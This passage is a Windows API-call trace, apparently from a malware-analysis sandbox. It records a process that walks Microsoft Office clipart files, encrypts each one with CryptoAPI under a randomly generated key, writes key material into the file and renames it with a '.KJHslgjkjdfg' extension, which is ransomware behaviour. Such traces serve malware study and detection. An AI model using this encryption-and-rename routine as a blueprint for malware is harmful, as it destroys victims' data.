(lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00563_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00563_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.620] GetProcessHeap () returned 0x2a0000 [0186.620] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.621] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.621] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.621] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.621] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.621] GetProcessHeap () returned 0x2a0000 [0186.621] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.621] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.621] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.621] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.623] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.623] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.623] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.623] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.623] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.623] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.623] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.623] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.623] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x5670, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x5670, lpOverlapped=0x0) returned 1 [0186.624] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5670, dwBufLen=0x5670 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5670) returned 1 [0186.625] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.625] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5670, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x5670, lpOverlapped=0x0) returned 1 [0186.625] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.625] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x5744, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.625] SetEndOfFile (hFile=0x114) returned 1 [0186.627] GetProcessHeap () returned 0x2a0000 [0186.628] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.628] GetProcessHeap () returned 0x2a0000 [0186.628] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.628] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00563_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00563_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00563_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00563_.wmf.kjhslgjkjdfg")) returned 1 [0186.629] CloseHandle (hObject=0x114) returned 1 [0186.629] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ae6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00578_.WMF", cAlternateFileName="")) returned 1 [0186.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00578_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00578_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.630] GetProcessHeap () returned 0x2a0000 [0186.630] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.631] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.631] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.631] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0186.633] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.633] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.633] GetProcessHeap () returned 0x2a0000 [0186.633] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.633] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.633] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.633] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.633] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.633] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.633] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.633] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.633] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.633] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.633] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.633] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.633] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1ae6, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1ae6, lpOverlapped=0x0) returned 1 [0186.634] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1af0, dwBufLen=0x1af0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1af0) returned 1 [0186.634] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.634] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1af0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1af0, lpOverlapped=0x0) returned 1 [0186.635] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.635] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1bc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.635] SetEndOfFile (hFile=0x114) returned 1 [0186.637] GetProcessHeap () returned 0x2a0000 [0186.637] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.637] GetProcessHeap () returned 0x2a0000 [0186.637] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.637] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00578_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00578_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00578_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00578_.wmf.kjhslgjkjdfg")) returned 1 [0186.639] CloseHandle (hObject=0x114) returned 1 [0186.639] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x896e9800, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x896e9800, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1928, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00608_.WMF", cAlternateFileName="")) returned 1 [0186.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00608_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00608_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.641] GetProcessHeap () returned 0x2a0000 [0186.642] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.642] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.642] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.642] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.643] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.643] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.644] GetProcessHeap () returned 0x2a0000 [0186.644] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.644] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.644] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.644] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.644] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.644] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.644] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.644] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.644] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.644] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.644] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.644] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.644] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1928, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1928, lpOverlapped=0x0) returned 1 [0186.645] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1930, dwBufLen=0x1930 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1930) returned 1 [0186.645] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.645] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1930, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1930, lpOverlapped=0x0) returned 1 [0186.646] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.646] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1a04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.646] SetEndOfFile (hFile=0x114) returned 1 [0186.648] GetProcessHeap () returned 0x2a0000 [0186.648] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.648] GetProcessHeap () returned 0x2a0000 [0186.648] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.648] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00608_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00608_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00608_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00608_.wmf.kjhslgjkjdfg")) returned 1 [0186.649] CloseHandle (hObject=0x114) returned 1 [0186.649] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c352400, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c352400, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x4cea, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00633_.WMF", cAlternateFileName="")) returned 1 [0186.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00633_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00633_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.651] GetProcessHeap () returned 0x2a0000 [0186.651] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.651] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.651] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.651] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0186.653] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.653] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.653] GetProcessHeap () returned 0x2a0000 [0186.653] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.653] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.653] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.653] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.653] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.653] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.653] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.653] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.653] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.653] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.653] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.653] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.653] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4cea, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4cea, lpOverlapped=0x0) returned 1 [0186.654] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4cf0, dwBufLen=0x4cf0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4cf0) returned 1 [0186.654] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.654] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4cf0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4cf0, lpOverlapped=0x0) returned 1 [0186.654] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.654] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4dc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.655] SetEndOfFile (hFile=0x114) returned 1 [0186.657] GetProcessHeap () returned 0x2a0000 [0186.657] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.657] GetProcessHeap () returned 0x2a0000 [0186.657] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.657] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00633_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00633_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00633_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00633_.wmf.kjhslgjkjdfg")) returned 1 [0186.658] CloseHandle (hObject=0x114) returned 1 [0186.658] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bd0f200, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bd0f200, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xb12c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00640_.WMF", cAlternateFileName="")) returned 1 [0186.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00640_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00640_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.664] GetProcessHeap () returned 0x2a0000 [0186.664] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.664] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.664] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.664] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.669] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.669] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.669] GetProcessHeap () returned 0x2a0000 [0186.669] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.669] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, 